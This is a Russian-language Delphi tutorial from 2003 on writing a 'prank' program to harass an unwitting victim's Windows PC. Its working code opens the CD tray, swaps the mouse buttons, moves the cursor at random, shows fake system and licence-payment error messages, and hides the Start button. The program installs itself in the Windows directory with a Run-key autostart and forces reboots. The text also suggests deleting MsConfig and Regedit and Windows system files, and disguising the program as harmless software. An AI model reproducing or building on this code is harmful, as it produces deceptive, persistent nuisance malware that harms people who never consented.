Знание даёт власть. Программирование помноженное на знание даёт власть над
компьютером и тем, кто за ним сидит. А как иногда хочется позлоупотреблять
этой самой властью! Ну так дадим ненадолго волю своим подавленным инстинктам и
набросаем пару - другую мрачненьких прикольчиков.
Пункт первый.
Прикол должен быть МАЛЕНЬКИМ. Значит модуль Forms использовать не будем напрочь.
Соответственно, запускаем Delphi. Создаём New Application. Открываем меню
Project\Remove From Project и удаляем Unit1 - Form1 из проекта. Открываем файл проекта
Project\View Source. (Я пользуюсь Delphi 4. В 5-й версии можно выбрать New\Console Application.)
Стираем всё лишнее, так что остаётся следующее:
program ArticleFun1;
uses Windows;
{$R *.RES}
begin
end.
Пункт второй.
Чтобы сделать такое, чтобы подопытный не сразу впал в истерику, а успел оценить
грандиозность вашей подлянки?
FUN1
Для начала можно грозно похлопать CD-ROM'ом.
procedure CD_Fun1; {хлопнуть CD-ROM'ом}
begin
mciSendString('Set cdaudio door open wait', nil, 0, GetDesktopWindow);
sleep(450);
mciSendString('Set cdaudio door closed wait', nil, 0, GetDesktopWindow);
end;
Для этой процедуры надо в Uses добавить модуль mmsystem.
FUN2
Ну похлопали компактом (изверги могут вызывать эту процедуру в цикле...) и что?
Подопытный поёжился и успокоился. МАЛО!
Чтобы он о вас подольше вспоминал разными добрыми словами проделайте
следующее: поменяйте местами кнопки мышки.
Procedure Mouse_Fun2_1;
begin
swapmousebutton(true);
end;
Можно было бы, конечно, вообще отрубить мышь (да и клаву тоже ;) но так будет
интересней. Пока "объект поймёт "шо це таке"... Вы получите "непередаваемые
очучения" если сможете пронаблюдать реакцию!
Ну уж если стали издеваться над мышкой, то можно ещё и с курсором немного
поиграть. Пусть он в кои-то веки займётся своими делами, а не слепо исполняет
волю юзера.
Procedure Mouse_Fun2_2;
var i:integer;
begin
for i:=1 to random(5000) do
begin
setcursorpos(random(640),random(480));
sleep(30); {погонять курсор по экрану};
end;
end;
FUN3
Чтобы наш бедняга не расслаблялся можно ещё выкинуть какое-нибудь
псевдосистемное сообщение.
procedure Message_Fun3;
var s:string;
n:integer;
begin
if random(2) = 0 then n:=MB_ICONWARNING
else n:=MB_ICONERROR;
case random(3) of
0: s:='CRU not found. Press any key.';
1: s:='Срок действия незарегистрированной версии Windows истёк.'+#13+
'Для продолжения работы windows вам надо заплатить за лицензионную'+#13+
'версию $640.';
2: s:='User.VxD got into trouble. Need help.';
end;
MessageBox(GetForegroundWindow,PChar(s),'',n);
end;
Только не забудте добавить Randomize; в основную программу. А то пользователь
слишком быстро привыкнет к одному сообщению и лишится радости встречи с
остальными. Зря что-ли старались!
FUN4
Как вы думаете, нужен ли подопытному "Пуск"? Да зачем? Нафиг не нужен!
Так мы его и уберём...
procedure Start_Fun4;
var hn : HWnd;
begin
hn := FindWindowEx(FindWindow('Shell_TrayWnd',nil),0,'Button',nil);
if hn <> 0 then ShowWindow(hn,SW_Hide);
end;
Кнопочки как не бывало...
Пункт Третий.
А теперь скажите, хорошо ли если неразумный объект нашего воздействия удалит
такую замечательную программу после первого запуска не насладившись в полной
мере вашими изысками? Это будет просто невежливо по отношению к автору!
Поэтому давайте позаботимся, чтобы такого не произошло. А именно: скопируем
программу подальше внутрь каталога Windows и добавим на загрузку при включении.
Procedure Install;
var b,c:array[0..150]of char;
way,curway:string;
R:TRegistry;
begin
GetWindowsDirectory(b,150);
way:=StrPas(b);
curway:=getCurrentDir;
if curway<>way then
begin
strPCopy(b,paramstr(0));
strPCopy(c,way+'\VCArticle.exe'); {new file}
copyfile(b,c,false);
end;
r:=TRegistry.Create;
r.RootKey:=HKEY_LOCAL_MACHINE;
r.OpenKey('Software\Microsoft\Windows\CurrentVersion\Run',true);
r.WriteString('VCArticle',way+'\VCArticle.exe');
r.CloseKey;
r.Destroy;
end;
При этом понадобятся модули Sysutils и Registry. соответственно, их тоже добавляем
в uses. Ну вот, программа, хоть и не очень крепко, но к системе прикручена. Теперь она
будет запускаться при каждой перезагрузке и при этом её нет в папке Автозагрузка.
Хотя это не мешает профессионалам избавиться от неё за несколько секунд используя,
например, стандартный MsConfig. Правда если и MsConfig, и Regedit в процедуре Install
удалить, тогда программа проживёт чуть дольше...
В основной программе демонстрировать все возможности разом нет необходимости,
раз уж программа протянет несколько дней до того, как её безжалостно сотрут.
Поэтому можно сделать что-то вроде этого.
begin
Randomize;
Start_Fun4;
case random(20) of
0..4: CD_Fun1;
5..9: Mouse_Fun2_1;
10..14: Mouse_Fun2_2;
15..19: Message_Fun3;
end;
Install;
if random(20)=1 then exitwindowsEx(EWX_FORCE+EWX_REBOOT,0);
end.
В некоторых случаях хлопаем компактом, в некоторых играем мышкой, а иногда
выкидываем сообщение. Разумеется ничто не мешает добавить ещё десяток
"подляночных" процедур и вызывать их по другим значемиям case'а.
(f.e. скрыть мышку, перевернуть экран, вызвать перезагрузку, удалить важные
файлы Windows, сменить обои, удалить типы файлов, написать что-то на столе...).
Для пущей убедительности можно замаскировать свою программу под текстовый
редактор или просто файл, или изобразить "что-то вроде утилиты", или иммитировать
повреждённый файл. Но это уже вопрос другого разговора. Может быть следующей
статьи?
Но в любом случае не забывайте свято чтить УК РФ!
Master VAM
30.03.03
Полный код программы и текст статьи: Fun_Article.rar (8Кб.)